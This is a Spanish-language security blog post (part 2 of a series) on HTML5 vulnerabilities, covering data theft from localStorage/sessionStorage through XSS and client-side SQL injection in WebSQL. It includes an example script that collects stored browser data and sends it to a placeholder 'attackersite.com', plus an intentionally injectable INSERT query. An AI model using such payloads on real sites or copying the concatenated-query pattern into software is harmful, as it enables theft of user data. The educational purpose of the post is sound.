Revista Tecnología

Vulnerabilidades comunes en HTML5 – Localstorage y vulnerabilidades en WebSQL – Parte 2

Publicado el 29 octubre 2014 por Debadastra @jdaanial

Continuamos enumerando y explicando algunas vulnerabilidades comunes en la última especificación de HTML, en la que se han incluido características funcionales que permiten crear aplicaciones WEB 2.0 y RIA. Se trata de un intento por mejorar la experiencia de usuario y crear aplicaciones robustas y rápidas, sin embargo muchas de ellas pueden representar una potencial brecha de seguridad si no se toman las medidas adecuadas a la hora de utilizarlas en aplicaciones web que manejan datos sensibles. En la primera parte de estos artículos, nos centramos principalmente en CORS, que como se ha visto anteriormente, es muy peligroso si no se configura adecuadamente a la hora de compartir recursos con dominios externos. En este artículo ahora nos centraremos en los nuevos mecanismos implementados para el almacenamiento de información en el cliente, que en HTML5 se extiende mucho más allá al uso de las cookies.

Fugas de información en el almacenamiento local

Una de las características más sobresalientes en HTML5 para el desarrollo de aplicaciones RIA, es la capacidad que tienen ahora los clientes de almacenar datos que posteriormente pueden ser utilizados por las aplicaciones. El mecanismo de almacenamiento de HTML5, también conocido como “Client-Site storage” es similar a las cookies tradicionales, sin embargo es más completo y robusto ya que no solamente extiende el tamaño de los datos que se pueden guardar, que en el caso de las cookies es solamente de 4kb, mientras que en el caso del almacenamiento local en HTML5 puede llegar hasta los 10MB de información. Por otro lado, a diferencia de las cookies, los datos almacenados no caducan y además, no se envían en cada petición entre cliente y servidor como si que ocurre con las cookies. El mecanismo de almacenamiento local de HTML5, es una mejora considerable a la hora de guardar datos en el cliente sin depender de las cookies tradicionales y cuenta con una API que permite acceder y manipular sus elementos por medio de Javascript.

En la especificación de HTML5 existen tres modelos de almacenamiento en el lado del cliente que son: Local, Session y Global. En el almacenamiento local, el elemento “localStorage” permite guardar datos de forma persistente en el cliente ya que dichos datos no se eliminan automáticamente y es necesario limpiar dicho espacio de almacenamiento de forma explicita. El almacenamiento del tipo Session funciona básicamente igual que el almacenamiento del tipo Local, con la diferencia de que el objeto “sessionStorage” se limpia automáticamente cuando el usuario cierra el navegador web o la pestaña del sitio web.

El almacenamiento Global es un espacio de memoria en el navegador en el que los sitios web pueden almacenar datos persistentes que no necesitan ser enviados posteriormente al servidor y aunque en los primeros borradores de la especificación se mencionaba que los valores almacenados en dicho espacio podían ser públicos a cualquier dominio, los desarrolladores de los navegadores web más populares no adoptaron esa recomendación por cuestiones de seguridad y los datos almacenados en dicha zona, ahora se asocian automáticamente con el dominio en cuestión. En las versiones más recientes de navegadores como Chrome o Firefox, el objeto “globalStorage” deja de ser soportado y en su lugar se utiliza el objeto “localStorage”, con lo cual los tipos de almacenamiento Local y Global se fusionan en uno solo por medio del uso del objeto “localStorage”.

Ahora bien, una vez comprendido el funcionamiento del “Client-Site storage” definido en HTML5, se puede apreciar rápidamente que si existe una API para acceder a los objetos que se encuentran almacenados en dicho espacio, un atacante podría abusar de dicha API para acceder a información sensible que se encuentre almacenada allí y eso es justo lo que puede ocurrir cuando una aplicación web con HTML5 tiene vulnerabilidades que permiten la ejecución arbitraria de código, como por ejemplo, una vulnerabilidad del tipo XSS.

 

<script language= "javascript">
var sessionNames;
for(i =0; sessionStorage.length; i++){
   sessionNames += sessionStorage.key(i);
}
var localNames;
for(i =0; localStorage.length; i++){
   localNames += localStorage.key(i);
}
</script>

Los elementos que se almacenan en los objetos “localStorage” y “sessionStorage” son diccionarios compuestos por pares de clave=valor, con lo cual, un atacante podría estar interesado en extraer todos los nombres de las claves disponibles en ambos contextos para posteriormente obtener sus valores.

<script language= "javascript">
   var xmlHttp = null;
   xmlHttp = new XMLHttpRequest();
   localData ="";
   for(i in localStorage){
   localData += localStorage.getItem(i)
   }
   sessionData = "";
   for(i in sessionStorage){
   sessionData += sessionStorage.getItem(i)
   }
   xmlHttp.open( "GET", “http://www.attackersite.com?data=”+localData+sessionData+globalData, false );
   xmlHttp.send(null)
</script>

Con las instrucciones anteriores se extraen todos los elementos que se encuentran almacenados en el “localStorage” y en el “sessionStorage”, posteriormente se envía dicha información a un servidor remoto utilizando el objeto XMLHttpResponse para iniciar una petición HTTP vía ajax.

Vulnerabilidades de SQL Injection en el cliente. Implementaciones con WebSQL inseguras.

Tradicionalmente las vulnerabilidades del tipo SQL Injection se han asociado con la extracción de información y posible ejecución arbitraria de código en el lado del servidor, sin embargo, en la especificación de HTML5 también esto ha cambiado, ya que ahora en el lado del cliente también es posible almacenar datos en bases de datos relacionales. WebSQL es el mecanismo mediante el cual, es posible crear una base de datos relacional con el fin de almacenar información que posteriormente será utilizada por la aplicación web. Se trata de una idea muy interesante, ya que permite crear aplicaciones web en las que los clientes podrán seguir interactuando con la aplicación aunque la conexión con el servidor no sea constante. Por otro lado, del mismo modo que ocurre con los objetos del tipo Storage mencionados anteriormente, es posible utilizar Javascript para consultar y manipular dichas bases de datos.

Las vulnerabilidades del tipo “Client-Site SQL Injection” no son muy diferentes a cualquier vulnerabilidad SQL Injection tradicional, de hecho, lo único que cambia es el contexto de ejecución. Esto quiere decir que la principal fuente de problemas relacionados con este tipo de vulnerabilidades se encuentran en la incorrecta o insuficiente validación de los datos utilizados para conformar las consultas y del mismo modo, la mejor forma de prevenir este tipo de errores, consiste en validar los datos de entrada y utilizar estamentos preparados en lugar de concatenar los valores de entrada con la cadena de la consulta SQL.

En navegadores modernos como Chrome, existen herramientas de desarrollo que permiten visualizar las bases de datos creadas en el lado del cliente cuando se visita un sitio web con soporte a WebSQL.

Para utilizar la API de WebSQL y acceder a bases de datos “Client-Side” se debe utilizar la API disponible para ello, la cual define tres elementos principales para acceso y modificación de datos: “openDatabase”, “transaction”, “execute”. El siguiente script enseña el uso de estas funciones en una página web y como se podrá apreciar después de inspeccionar el código, hay una vulnerabilidad SQL Injection que se puede detectar fácilmente.

<script language= "javascript">
    db = openDatabase("sqli", "1.0", "Web SQL Database Client-side SQL Injection",2000);
   if(db) {
      db.transaction(function(tx){tx.executeSql("DROP TABLE IF EXISTS table_test",[]);});
   db.transaction(function(tx){tx.executeSql("CREATE TABLE IF NOT EXISTS table_test (id REAL UNIQUE, description TEXT)",[]);});
   }
   db.transaction(
        function(tx) {
       tx.executeSql('DELETE FROM table_test WHERE id=?',[id]);
   })
   
    db.transaction(
        function(tx) {
   tx.executeSql("INSERT INTO table_test (id, description) values (" + id + ",'" + description + "')", []);
    })
</script>

En el código anterior, se puede apreciar que se intenta crear una base de datos con nombre “sqli” y posteriormente se ejecutan las instrucciones SQL para borrar y crear la tabla “table_test”. Posteriormente se crean las funciones de callback para ejecutar dos transacciones, la primera para borrar un registro filtrando por identificador y la segunda para insertar un registro.

La instrucción “DELETE” no tiene ningún problema en términos de seguridad, ya que la query SQL se encuentra parametrizada, sin embargo en el caso de la instrucción “INSERT”, se construye la query concatenando los valores que se deben insertar en la tabla “table_test”, generando de esta forma un problema de SQL Injection que puede ser explotable y que puede suponer la filtración de información sensible.
En el próximo artículo, más sobre vulnerabilidades en aplicaciones con HTML5

Saludos y Happy Hack!


Volver a la Portada de Logo Paperblog